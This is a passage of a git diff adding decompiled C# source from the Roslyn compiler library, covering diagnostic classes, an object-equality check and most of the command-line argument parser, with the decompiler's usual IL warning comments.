BinaryOperatorKind.Decimal => _compilation.GetSpecialType((SpecialType)17), + BinaryOperatorKind.Bool => _compilation.GetSpecialType((SpecialType)7), + _ => throw ExceptionUtilities.UnexpectedValue((object)binaryOperatorKind), + }; + return _compilation.GetOrCreateNullableType(typeArgument); + } + + internal static bool IsValidObjectEquality(Conversions Conversions, TypeSymbol leftType, bool leftIsNull, bool leftIsDefault, TypeSymbol rightType, bool rightIsNull, bool rightIsDefault, ref CompoundUseSiteInfo useSiteInfo) + { + if ((object)leftType != null && leftType.IsTypeParameter()) + { + if (leftType.IsValueType || (!leftType.IsReferenceType && !rightIsNull)) + { + return false; + } + leftType = ((TypeParameterSymbol)leftType).EffectiveBaseClass(ref useSiteInfo); + } + if ((object)rightType != null && rightType.IsTypeParameter()) + { + if (rightType.IsValueType || (!rightType.IsReferenceType && !leftIsNull)) + { + return false; + } + rightType = ((TypeParameterSymbol)rightType).EffectiveBaseClass(ref useSiteInfo); + } + if (((object)leftType == null || !leftType.IsReferenceType) && !leftIsNull && !leftIsDefault) + { + return false; + } + if (((object)rightType == null || !rightType.IsReferenceType) && !rightIsNull && !rightIsDefault) + { + return false; + } + if (leftIsDefault && rightIsDefault) + { + return false; + } + if (leftIsDefault && rightIsNull) + { + return false; + } + if (leftIsNull && rightIsDefault) + { + return false; + } + if (leftIsNull || rightIsNull || leftIsDefault || rightIsDefault) + { + return true; + } + Conversion conversion = Conversions.ClassifyConversionFromType(leftType, rightType, isChecked: false, ref useSiteInfo); + if (conversion.IsIdentity || conversion.IsReference) + { + return true; + } + Conversion conversion2 = Conversions.ClassifyConversionFromType(rightType, leftType, isChecked: false, ref useSiteInfo); + if (conversion2.IsIdentity || conversion2.IsReference) + { + return true; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSDiagnostic.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSDiagnostic.cs new file mode 100644 index 0000000..94c66bc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSDiagnostic.cs @@ -0,0 +1,49 @@ +using System; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class CSDiagnostic : DiagnosticWithInfo +{ + internal CSDiagnostic(DiagnosticInfo info, Location location, bool isSuppressed = false) + : base(info, location, isSuppressed) + { + } + + public override string ToString() + { + return ((DiagnosticFormatter)CSharpDiagnosticFormatter.Instance).Format((Diagnostic)(object)this, (IFormatProvider)null); + } + + internal override Diagnostic WithLocation(Location location) + { + if (location == (Location)null) + { + throw new ArgumentNullException("location"); + } + if (location != ((Diagnostic)this).Location) + { + return (Diagnostic)(object)new CSDiagnostic(((DiagnosticWithInfo)this).Info, location, ((Diagnostic)this).IsSuppressed); + } + return (Diagnostic)(object)this; + } + + internal override Diagnostic WithSeverity(DiagnosticSeverity severity) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + DiagnosticInfo instanceWithSeverity = ((DiagnosticWithInfo)this).Info.GetInstanceWithSeverity(severity); + if (instanceWithSeverity != ((DiagnosticWithInfo)this).Info) + { + return (Diagnostic)(object)new CSDiagnostic(instanceWithSeverity, ((Diagnostic)this).Location, ((Diagnostic)this).IsSuppressed); + } + return (Diagnostic)(object)this; + } + + internal override Diagnostic WithIsSuppressed(bool isSuppressed) + { + if (((Diagnostic)this).IsSuppressed != isSuppressed) + { + return (Diagnostic)(object)new CSDiagnostic(((DiagnosticWithInfo)this).Info, ((Diagnostic)this).Location, isSuppressed); + } + return (Diagnostic)(object)this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSDiagnosticInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSDiagnosticInfo.cs new file mode 100644 index 0000000..9cbf6a1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSDiagnosticInfo.cs @@ -0,0 +1,68 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class CSDiagnosticInfo : DiagnosticInfoWithSymbols +{ + public static readonly DiagnosticInfo EmptyErrorInfo = (DiagnosticInfo)(object)new CSDiagnosticInfo((ErrorCode)0); + + public static readonly DiagnosticInfo VoidDiagnosticInfo = (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.Void); + + private readonly IReadOnlyList _additionalLocations; + + public override IReadOnlyList AdditionalLocations => _additionalLocations; + + internal ErrorCode Code => (ErrorCode)((DiagnosticInfo)this).Code; + + internal CSDiagnosticInfo(ErrorCode code) + : this(code, Array.Empty(), ImmutableArray.Empty, ImmutableArray.Empty) + { + } + + internal CSDiagnosticInfo(ErrorCode code, params object[] args) + : this(code, args, ImmutableArray.Empty, ImmutableArray.Empty) + { + } + + internal CSDiagnosticInfo(ErrorCode code, ImmutableArray symbols, object[] args) + : this(code, args, symbols, ImmutableArray.Empty) + { + } + + internal CSDiagnosticInfo(ErrorCode code, object[] args, ImmutableArray symbols, ImmutableArray additionalLocations) + : base(code, args, symbols) + { + IReadOnlyList additionalLocations2; + if (!additionalLocations.IsDefaultOrEmpty) + { + IReadOnlyList readOnlyList = additionalLocations; + additionalLocations2 = readOnlyList; + } + else + { + additionalLocations2 = SpecializedCollections.EmptyReadOnlyList(); + } + _additionalLocations = additionalLocations2; + } + + private CSDiagnosticInfo(CSDiagnosticInfo original, DiagnosticSeverity severity) + : base(original, severity) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + _additionalLocations = original._additionalLocations; + } + + protected override DiagnosticInfo GetInstanceWithSeverityCore(DiagnosticSeverity severity) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (DiagnosticInfo)(object)new CSDiagnosticInfo(this, severity); + } + + internal static bool IsEmpty(DiagnosticInfo info) + { + return info == EmptyErrorInfo; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpCommandLineArguments.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpCommandLineArguments.cs new file mode 100644 index 0000000..bfc2d71 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpCommandLineArguments.cs @@ -0,0 +1,20 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +public sealed class CSharpCommandLineArguments : CommandLineArguments +{ + public CSharpCompilationOptions CompilationOptions { get; internal set; } + + public CSharpParseOptions ParseOptions { get; internal set; } + + protected override ParseOptions ParseOptionsCore => (ParseOptions)(object)ParseOptions; + + protected override CompilationOptions CompilationOptionsCore => (CompilationOptions)(object)CompilationOptions; + + internal bool ShouldIncludeErrorEndLocation { get; set; } + + internal CSharpCommandLineArguments() + { + CompilationOptions = null; + ParseOptions = null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpCommandLineParser.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpCommandLineParser.cs new file mode 100644 index 0000000..53fdbba --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpCommandLineParser.cs @@ -0,0 +1,2011 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Globalization; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +public class CSharpCommandLineParser : CommandLineParser +{ + private static readonly char[] s_quoteOrEquals = new char[2] { '"', '=' }; + + private static readonly char[] s_warningSeparators = new char[3] { ',', ';', ' ' }; + + public static CSharpCommandLineParser Default { get; } = new CSharpCommandLineParser(); + + public static CSharpCommandLineParser Script { get; } = new CSharpCommandLineParser(isScriptCommandLineParser: true); + + protected override string RegularFileExtension => ".cs"; + + protected override string ScriptFileExtension => ".csx"; + + internal CSharpCommandLineParser(bool isScriptCommandLineParser = false) + : base((CommonMessageProvider)(object)MessageProvider.Instance, isScriptCommandLineParser) + { + } + + internal sealed override CommandLineArguments CommonParse(IEnumerable args, string baseDirectory, string? sdkDirectory, string? additionalReferenceDirectories) + { + return (CommandLineArguments)(object)Parse(args, baseDirectory, sdkDirectory, additionalReferenceDirectories); + } + + public CSharpCommandLineArguments Parse(IEnumerable args, string? baseDirectory, string? sdkDirectory, string? additionalReferenceDirectories = null) + { + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0261: Unknown result type (might be due to invalid IL or missing references) + //IL_0266: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00a3: Unknown result type (might be due to invalid IL or missing references) + //IL_00b8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + //IL_0133: Unknown result type (might be due to invalid IL or missing references) + //IL_0279: Unknown result type (might be due to invalid IL or missing references) + //IL_2941: Unknown result type (might be due to invalid IL or missing references) + //IL_021c: Unknown result type (might be due to invalid IL or missing references) + //IL_0221: Unknown result type (might be due to invalid IL or missing references) + //IL_0197: Unknown result type (might be due to invalid IL or missing references) + //IL_019c: Unknown result type (might be due to invalid IL or missing references) + //IL_2983: Unknown result type (might be due to invalid IL or missing references) + //IL_020b: Unknown result type (might be due to invalid IL or missing references) + //IL_0210: Unknown result type (might be due to invalid IL or missing references) + //IL_29c0: Unknown result type (might be due to invalid IL or missing references) + //IL_29c3: Invalid comparison between Unknown and I4 + //IL_2a2e: Unknown result type (might be due to invalid IL or missing references) + //IL_29eb: Unknown result type (might be due to invalid IL or missing references) + //IL_28be: Unknown result type (might be due to invalid IL or missing references) + //IL_15f0: Unknown result type (might be due to invalid IL or missing references) + //IL_15f5: Unknown result type (might be due to invalid IL or missing references) + //IL_15f7: Unknown result type (might be due to invalid IL or missing references) + //IL_2a1f: Unknown result type (might be due to invalid IL or missing references) + //IL_2a24: Unknown result type (might be due to invalid IL or missing references) + //IL_197e: Unknown result type (might be due to invalid IL or missing references) + //IL_1983: Unknown result type (might be due to invalid IL or missing references) + //IL_287a: Unknown result type (might be due to invalid IL or missing references) + //IL_287f: Unknown result type (might be due to invalid IL or missing references) + //IL_1a91: Unknown result type (might be due to invalid IL or missing references) + //IL_1a96: Unknown result type (might be due to invalid IL or missing references) + //IL_1f6a: Unknown result type (might be due to invalid IL or missing references) + //IL_235d: Unknown result type (might be due to invalid IL or missing references) + //IL_2362: Unknown result type (might be due to invalid IL or missing references) + //IL_1616: Unknown result type (might be due to invalid IL or missing references) + //IL_1618: Unknown result type (might be due to invalid IL or missing references) + //IL_075d: Unknown result type (might be due to invalid IL or missing references) + //IL_2aa0: Unknown result type (might be due to invalid IL or missing references) + //IL_171b: Unknown result type (might be due to invalid IL or missing references) + //IL_1734: Unknown result type (might be due to invalid IL or missing references) + //IL_2018: Unknown result type (might be due to invalid IL or missing references) + //IL_236f: Unknown result type (might be due to invalid IL or missing references) + //IL_2371: Unknown result type (might be due to invalid IL or missing references) + //IL_2892: Unknown result type (might be due to invalid IL or missing references) + //IL_174d: Unknown result type (might be due to invalid IL or missing references) + //IL_2794: Unknown result type (might be due to invalid IL or missing references) + //IL_2799: Unknown result type (might be due to invalid IL or missing references) + //IL_1e5b: Unknown result type (might be due to invalid IL or missing references) + //IL_1e63: Unknown result type (might be due to invalid IL or missing references) + //IL_16e0: Unknown result type (might be due to invalid IL or missing references) + //IL_17a1: Unknown result type (might be due to invalid IL or missing references) + //IL_17a6: Unknown result type (might be due to invalid IL or missing references) + //IL_17aa: Unknown result type (might be due to invalid IL or missing references) + //IL_1f90: Unknown result type (might be due to invalid IL or missing references) + //IL_1f96: Invalid comparison between Unknown and I4 + //IL_2083: Unknown result type (might be due to invalid IL or missing references) + //IL_2088: Unknown result type (might be due to invalid IL or missing references) + //IL_1e6b: Unknown result type (might be due to invalid IL or missing references) + //IL_16e8: Unknown result type (might be due to invalid IL or missing references) + //IL_17b5: Unknown result type (might be due to invalid IL or missing references) + //IL_27ac: Unknown result type (might be due to invalid IL or missing references) + //IL_16f0: Unknown result type (might be due to invalid IL or missing references) + //IL_16f8: Unknown result type (might be due to invalid IL or missing references) + //IL_20a6: Unknown result type (might be due to invalid IL or missing references) + //IL_2b3f: Unknown result type (might be due to invalid IL or missing references) + //IL_2b89: Unknown result type (might be due to invalid IL or missing references) + //IL_2b9f: Unknown result type (might be due to invalid IL or missing references) + //IL_2ba5: Unknown result type (might be due to invalid IL or missing references) + //IL_2ba7: Unknown result type (might be due to invalid IL or missing references) + //IL_2bc1: Unknown result type (might be due to invalid IL or missing references) + //IL_2bc3: Unknown result type (might be due to invalid IL or missing references) + //IL_2bc5: Unknown result type (might be due to invalid IL or missing references) + //IL_2bc7: Unknown result type (might be due to invalid IL or missing references) + //IL_2bde: Unknown result type (might be due to invalid IL or missing references) + //IL_2bf8: Unknown result type (might be due to invalid IL or missing references) + //IL_2bfa: Unknown result type (might be due to invalid IL or missing references) + //IL_2c0c: Unknown result type (might be due to invalid IL or missing references) + //IL_2c34: Unknown result type (might be due to invalid IL or missing references) + //IL_2c46: Unknown result type (might be due to invalid IL or missing references) + //IL_2c61: Unknown result type (might be due to invalid IL or missing references) + //IL_2c68: Expected O, but got Unknown + //IL_2c8c: Unknown result type (might be due to invalid IL or missing references) + //IL_2cb9: Unknown result type (might be due to invalid IL or missing references) + //IL_2dd6: Unknown result type (might be due to invalid IL or missing references) + List list = new List(); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + List list2 = (base.IsScriptCommandLineParser ? new List() : null); + List list3 = (base.IsScriptCommandLineParser ? new List() : null); + ((CommandLineParser)this).FlattenArgs(args, (IList)list, instance, list2, baseDirectory, list3); + string appConfigPath = null; + bool displayLogo = true; + bool displayHelp = false; + bool displayVersion = false; + bool displayLangVersions = false; + bool flag = false; + bool flag2 = false; + NullableContextOptions val = (NullableContextOptions)0; + bool flag3 = false; + bool flag4 = true; + bool flag5 = false; + bool flag6 = false; + DebugInformationFormat val2 = (DebugInformationFormat)((!PathUtilities.IsUnixLikePlatform) ? 1 : 2); + bool flag7 = false; + string pdbPath = null; + bool flag8 = base.IsScriptCommandLineParser; + string text = baseDirectory; + ImmutableArray> immutableArray = ImmutableArray>.Empty; + string outputFileName = null; + string text2 = null; + bool flag9 = false; + string generatedFilesOutputDirectory = null; + string documentationPath = null; + ErrorLogOptions val3 = null; + bool flag10 = false; + bool utf8Output = false; + OutputKind val4 = (OutputKind)0; + SubsystemVersion val5 = SubsystemVersion.None; + LanguageVersion result = LanguageVersion.Default; + string text3 = null; + string text4 = null; + string win32ResourceFile = null; + string text5 = null; + bool noWin32Manifest = false; + Platform val6 = (Platform)0; + ulong num = 0uL; + int num2 = 0; + bool? flag11 = null; + string text6 = null; + string text7 = null; + List list4 = new List(); + List list5 = new List(); + List list6 = new List(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + List list7 = new List(); + bool flag12 = false; + bool flag13 = false; + bool flag14 = false; + Encoding encoding = null; + SourceHashAlgorithm checksumAlgorithm = (SourceHashAlgorithm)2; + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + List list8 = new List(); + List list9 = new List(); + List list10 = new List(); + List list11 = new List(); + List list12 = new List(); + List list13 = new List(); + ReportDiagnostic val7 = (ReportDiagnostic)0; + Dictionary dictionary = new Dictionary(); + Dictionary dictionary2 = new Dictionary(); + Dictionary dictionary3 = new Dictionary(); + int num3 = 4; + bool flag15 = false; + bool printFullPaths = false; + string moduleAssemblyName = null; + string moduleName = null; + List list14 = new List(); + string text8 = null; + bool shouldIncludeErrorEndLocation = false; + bool reportAnalyzer = false; + bool skipAnalyzers = false; + ArrayBuilder instance4 = ArrayBuilder.GetInstance(); + CultureInfo cultureInfo = null; + string touchedFilesPath = null; + bool flag16 = false; + bool flag17 = false; + bool flag18 = false; + string text9 = null; + string text10 = null; + bool reportInternalsVisibleToAttributes = false; + Enumerator enumerator; + if (!base.IsScriptCommandLineParser) + { + enumerator = instance.GetEnumerator(); + ReadOnlyMemory readOnlyMemory = default(ReadOnlyMemory); + ReadOnlyMemory? readOnlyMemory2 = default(ReadOnlyMemory?); + while (enumerator.MoveNext()) + { + string current = enumerator.Current; + if (CommandLineParser.IsOption("ruleset", current, ref readOnlyMemory, ref readOnlyMemory2)) + { + string text11 = CommandLineParser.RemoveQuotesAndSlashes(readOnlyMemory2); + if (RoslynString.IsNullOrEmpty(text11)) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsString, "", readOnlyMemory.ToString()); + } + else + { + text10 = ((CommandLineParser)this).ParseGenericPathToFile(text11, (IList)list, baseDirectory, true); + val7 = ((CommandLineParser)this).GetDiagnosticOptionsFromRulesetFile(text10, ref dictionary, (IList)list); + } + } + } + } + enumerator = instance.GetEnumerator(); + ReadOnlyMemory readOnlyMemory3 = default(ReadOnlyMemory); + ReadOnlyMemory? valueMemory = default(ReadOnlyMemory?); + ulong num5 = default(ulong); + ushort num4 = default(ushort); + bool flag19 = default(bool); + while (enumerator.MoveNext()) + { + string current2 = enumerator.Current; + if (flag16 || !CommandLineParser.TryParseOption(current2, ref readOnlyMemory3, ref valueMemory)) + { + ArrayBuilder instance5 = ArrayBuilder.GetInstance(); + ((CommandLineParser)this).ParseFileArgument(current2.AsMemory(), baseDirectory, instance5, (IList)list); + Enumerator enumerator2 = instance5.GetEnumerator(); + while (enumerator2.MoveNext()) + { + string current3 = enumerator2.Current; + list5.Add(((CommandLineParser)this).ToCommandLineSourceFile(current3, false)); + } + instance5.Free(); + if (list5.Count > 0) + { + flag12 = true; + } + continue; + } + if (CommandLineParser.IsOptionName("r", "reference", readOnlyMemory3)) + { + ParseAssemblyReferences(current2, valueMemory, list, embedInteropTypes: false, list8); + continue; + } + if (CommandLineParser.IsOptionName("langversion", readOnlyMemory3)) + { + string text12 = CommandLineParser.RemoveQuotesAndSlashes(valueMemory); + if (RoslynString.IsNullOrEmpty(text12)) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsString, MessageID.IDS_Text.Localize(), "/langversion:"); + } + else if (text12.StartsWith("0", StringComparison.Ordinal)) + { + AddDiagnostic(list, ErrorCode.ERR_LanguageVersionCannotHaveLeadingZeroes, text12); + } + else if (text12 == "?") + { + displayLangVersions = true; + } + else if (!LanguageVersionFacts.TryParse(text12, out result)) + { + AddDiagnostic(list, ErrorCode.ERR_BadCompatMode, text12); + } + continue; + } + if (!base.IsScriptCommandLineParser && CommandLineParser.IsOptionName("a", "analyzer", readOnlyMemory3)) + { + ParseAnalyzers(current2, valueMemory, list9, list); + continue; + } + if (!base.IsScriptCommandLineParser && CommandLineParser.IsOptionName("nowarn", readOnlyMemory3)) + { + if (!valueMemory.HasValue) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsNumber, readOnlyMemory3.ToString()); + } + else if (valueMemory.Value.Length == 0) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsNumber, readOnlyMemory3.ToString()); + } + else + { + AddWarnings(dictionary2, (ReportDiagnostic)5, valueMemory.Value); + } + continue; + } + string text13 = readOnlyMemory3.Span.ToString().ToLowerInvariant(); + switch (text13) + { + case "?": + case "help": + displayHelp = true; + continue; + case "version": + displayVersion = true; + continue; + case "features": + { + string text12 = valueMemoryString(); + if (text12 == null) + { + list14.Clear(); + } + else + { + list14.Add(StringExtensions.Unquote(text12)); + } + continue; + } + case "libpath": + case "libpaths": + case "lib": + ParseAndResolveReferencePaths(text13, valueMemory, baseDirectory, list10, MessageID.IDS_LIB_OPTION, list); + continue; + } + if (base.IsScriptCommandLineParser) + { + string text12 = valueMemoryString(); + switch (text13) + { + case "-": + if (text12 != null) + { + break; + } + if (current2 == "-") + { + if (Console.IsInputRedirected) + { + list5.Add(new CommandLineSourceFile("-", true, true)); + flag12 = true; + } + else + { + AddDiagnostic(list, ErrorCode.ERR_StdInOptionProvidedButConsoleInputIsNotRedirected); + } + } + else + { + flag16 = true; + } + continue; + case "i": + case "i+": + if (text12 != null) + { + break; + } + flag17 = true; + continue; + case "i-": + if (text12 != null) + { + break; + } + flag17 = false; + continue; + case "loadpath": + case "loadpaths": + ParseAndResolveReferencePaths(text13, valueMemory, baseDirectory, list11, MessageID.IDS_REFERENCEPATH_OPTION, list); + continue; + case "u": + case "import": + case "usings": + case "using": + case "imports": + list13.AddRange(ParseUsings(current2, text12, list)); + continue; + } + } + else + { + switch (text13) + { + case "d": + case "define": + if (!valueMemory.HasValue || valueMemory.GetValueOrDefault().Length <= 0) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsString, "", current2); + } + else + { + ParseConditionalCompilationSymbols(CommandLineParser.RemoveQuotesAndSlashesEx(valueMemory.Value), instance3, out IEnumerable diagnostics); + list.AddRange(diagnostics); + } + continue; + case "codepage": + { + string text12 = CommandLineParser.RemoveQuotesAndSlashes(valueMemory); + if (text12 == null) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsString, "", text13); + continue; + } + Encoding encoding2 = CommandLineParser.TryParseEncodingName(text12); + if (encoding2 == null) + { + AddDiagnostic(list, ErrorCode.FTL_BadCodepage, text12); + } + else + { + encoding = encoding2; + } + continue; + } + case "checksumalgorithm": + { + string text12 = valueMemoryString(); + if (string.IsNullOrEmpty(text12)) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsString, "", text13); + continue; + } + SourceHashAlgorithm val8 = CommandLineParser.TryParseHashAlgorithmName(text12); + if ((int)val8 == 0) + { + AddDiagnostic(list, ErrorCode.FTL_BadChecksumAlgorithm, text12); + } + else + { + checksumAlgorithm = val8; + } + continue; + } + case "checked+": + case "checked": + if (valueMemory.HasValue) + { + break; + } + flag2 = true; + continue; + case "checked-": + if (valueMemory.HasValue) + { + break; + } + flag2 = false; + continue; + case "nullable": + { + string text12 = CommandLineParser.RemoveQuotesAndSlashes(valueMemory); + if (text12 != null) + { + if (EnumerableExtensions.IsEmpty(text12)) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsString, MessageID.IDS_Text.Localize(), text13); + continue; + } + switch (text12.ToLower()) + { + case "disable": + val = (NullableContextOptions)0; + break; + case "enable": + val = (NullableContextOptions)3; + break; + case "warnings": + val = (NullableContextOptions)1; + break; + case "annotations": + val = (NullableContextOptions)2; + break; + default: + AddDiagnostic(list, ErrorCode.ERR_BadNullableContextOption, text12); + break; + } + } + else + { + val = (NullableContextOptions)3; + } + continue; + } + case "nullable+": + if (valueMemory.HasValue) + { + break; + } + val = (NullableContextOptions)3; + continue; + case "nullable-": + if (valueMemory.HasValue) + { + break; + } + val = (NullableContextOptions)0; + continue; + case "instrument": + { + string text12 = CommandLineParser.RemoveQuotesAndSlashes(valueMemory); + if (RoslynString.IsNullOrEmpty(text12)) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsString, "", text13); + continue; + } + foreach (InstrumentationKind item in ParseInstrumentationKinds(text12, list)) + { + if (!instance4.Contains(item)) + { + instance4.Add(item); + } + } + continue; + } + case "sqmsessionguid": + { + string text12 = valueMemoryString(); + Guid result3; + if (text12 == null) + { + AddDiagnostic(list, ErrorCode.ERR_MissingGuidForOption, "", text13); + } + else if (!Guid.TryParse(text12, out result3)) + { + AddDiagnostic(list, ErrorCode.ERR_InvalidFormatForGuidForOption, text12, text13); + } + continue; + } + case "preferreduilang": + { + string text12 = CommandLineParser.RemoveQuotesAndSlashes(valueMemory); + if (RoslynString.IsNullOrEmpty(text12)) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsString, "", current2); + continue; + } + try + { + cultureInfo = new CultureInfo(text12); + if ((cultureInfo.CultureTypes & CultureTypes.UserCustomCulture) != 0) + { + cultureInfo = null; + } + } + catch (CultureNotFoundException) + { + } + if (cultureInfo == null) + { + AddDiagnostic(list, ErrorCode.WRN_BadUILang, text12); + } + continue; + } + case "nosdkpath": + sdkDirectory = null; + continue; + case "out": + { + string text12 = valueMemoryString(); + if (RoslynString.IsNullOrWhiteSpace(text12)) + { + AddDiagnostic(list, ErrorCode.ERR_NoFileSpec, current2); + } + else + { + ((CommandLineParser)this).ParseOutputFile(text12, (IList)list, baseDirectory, ref outputFileName, ref text); + } + continue; + } + case "refout": + { + string text12 = CommandLineParser.RemoveQuotesAndSlashes(valueMemory); + if (RoslynString.IsNullOrEmpty(text12)) + { + AddDiagnostic(list, ErrorCode.ERR_NoFileSpec, current2); + } + else + { + text2 = ((CommandLineParser)this).ParseGenericPathToFile(text12, (IList)list, baseDirectory, true); + } + continue; + } + case "refonly": + if (valueMemory.HasValue) + { + break; + } + flag9 = true; + continue; + case "t": + case "target": + { + string text12 = valueMemoryString(); + if (text12 == null) + { + break; + } + if (RoslynString.IsNullOrEmpty(text12)) + { + AddDiagnostic(list, ErrorCode.FTL_InvalidTarget); + } + else + { + val4 = ParseTarget(text12, list); + } + continue; + } + case "moduleassemblyname": + { + string text12 = valueMemoryString(); + text12 = ((text12 != null) ? StringExtensions.Unquote(text12) : null); + if (RoslynString.IsNullOrEmpty(text12)) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsString, "", current2); + } + else if (!MetadataHelpers.IsValidAssemblyOrModuleName(text12)) + { + AddDiagnostic(list, ErrorCode.ERR_InvalidAssemblyName, "", current2); + } + else + { + moduleAssemblyName = text12; + } + continue; + } + case "modulename": + { + string text15 = CommandLineParser.RemoveQuotesAndSlashes(valueMemory); + if (string.IsNullOrEmpty(text15)) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsString, MessageID.IDS_Text.Localize(), "modulename"); + } + else + { + moduleName = text15; + } + continue; + } + case "platform": + { + string text12 = CommandLineParser.RemoveQuotesAndSlashes(valueMemory); + if (RoslynString.IsNullOrEmpty(text12)) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsString, "", current2); + } + else + { + val6 = ParsePlatform(text12, list); + } + continue; + } + case "recurse": + { + string text12 = CommandLineParser.RemoveQuotesAndSlashes(valueMemory); + if (text12 == null) + { + break; + } + if (RoslynString.IsNullOrEmpty(text12)) + { + AddDiagnostic(list, ErrorCode.ERR_NoFileSpec, current2); + continue; + } + int count = list5.Count; + list5.AddRange(((CommandLineParser)this).ParseRecurseArgument(text12, baseDirectory, (IList)list)); + if (list5.Count > count) + { + flag12 = true; + } + continue; + } + case "generatedfilesout": + { + string text12 = CommandLineParser.RemoveQuotesAndSlashes(valueMemory); + if (string.IsNullOrWhiteSpace(text12)) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsString, MessageID.IDS_Text.Localize(), current2); + } + else + { + generatedFilesOutputDirectory = ((CommandLineParser)this).ParseGenericPathToFile(text12, (IList)list, baseDirectory, true); + } + continue; + } + case "doc": + { + flag10 = true; + string text12 = valueMemoryString(); + if (RoslynString.IsNullOrEmpty(text12)) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsString, MessageID.IDS_Text.Localize(), current2); + continue; + } + string text14 = CommandLineParser.RemoveQuotesAndSlashes(valueMemory); + if (RoslynString.IsNullOrEmpty(text14)) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsString, MessageID.IDS_Text.Localize(), "/doc:"); + } + else + { + documentationPath = ((CommandLineParser)this).ParseGenericPathToFile(text14, (IList)list, baseDirectory, true); + } + continue; + } + case "addmodule": + { + string text12 = valueMemoryString(); + if (text12 == null) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsString, MessageID.IDS_Text.Localize(), "/addmodule:"); + } + else if (text12.Length == 0) + { + AddDiagnostic(list, ErrorCode.ERR_NoFileSpec, current2); + } + else + { + list8.AddRange(CommandLineParser.ParseSeparatedPaths(text12).Select((Func)((string path) => new CommandLineReference(path, MetadataReferenceProperties.Module)))); + flag14 = true; + } + continue; + } + case "l": + case "link": + ParseAssemblyReferences(current2, valueMemory, list, embedInteropTypes: true, list8); + continue; + case "win32res": + win32ResourceFile = GetWin32Setting(current2, valueMemoryString(), list); + continue; + case "win32icon": + text5 = GetWin32Setting(current2, valueMemoryString(), list); + continue; + case "win32manifest": + text4 = GetWin32Setting(current2, valueMemoryString(), list); + noWin32Manifest = false; + continue; + case "nowin32manifest": + noWin32Manifest = true; + text4 = null; + continue; + case "resource": + case "res": + { + if (!valueMemory.HasValue) + { + break; + } + ResourceDescription val10 = ParseResourceDescription(current2, valueMemory.Value, baseDirectory, list, embedded: true); + if (val10 != null) + { + list4.Add(val10); + flag14 = true; + } + continue; + } + case "linkres": + case "linkresource": + { + if (!valueMemory.HasValue) + { + break; + } + ResourceDescription val9 = ParseResourceDescription(current2, valueMemory.Value, baseDirectory, list, embedded: false); + if (val9 != null) + { + list4.Add(val9); + flag14 = true; + } + continue; + } + case "sourcelink": + { + string text12 = CommandLineParser.RemoveQuotesAndSlashes(valueMemory); + if (RoslynString.IsNullOrEmpty(text12)) + { + AddDiagnostic(list, ErrorCode.ERR_NoFileSpec, current2); + } + else + { + text9 = ((CommandLineParser)this).ParseGenericPathToFile(text12, (IList)list, baseDirectory, true); + } + continue; + } + case "debug": + { + flag6 = true; + string text12 = CommandLineParser.RemoveQuotesAndSlashes(valueMemory); + if (text12 == null) + { + continue; + } + if 